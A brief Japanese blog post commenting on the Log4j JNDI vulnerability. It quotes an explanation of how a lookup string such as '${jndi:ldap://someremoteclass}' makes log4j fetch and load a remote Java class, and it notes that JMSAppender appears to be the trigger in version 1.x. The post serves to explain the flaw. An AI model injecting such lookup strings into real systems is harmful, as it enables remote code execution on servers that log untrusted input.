github.com
金曜にぶっこんでくるとはなかなかです。
Log4jとかメジャーすぎるライブラリでしかも攻撃も簡単とかマジ困る。。
ちょいと調べてましたが、中の仕組みは日本語解説だとこのPageがわかりやすい
今回問題となっているのはJndi Lookupだ。これはJavaのJava Naming and Directory Interfaceによる変数名の置換で、ネットワーク越しに変数に相当する値を検索することができる。その中にLDAPも含まれる。例えば"${jndi:ldap://someremoteclass}"のようになる。
問題は、このURLに.を含めることにより、lg4jは任意のリモートのLDAPサーバーからjava classファイルをダウンロードして読み込んでしまうのだ。
https://ezoeryou.github.io/blog/article/2021-12-10-log4j.html
LDAPから読みこむ仕様があったなんて全く知りませんでした。
便利機能は諸刃の剣ですね。ほんと。
1系は単体のLookUpがないのでJMSAppenderがこの引き金になるぽい。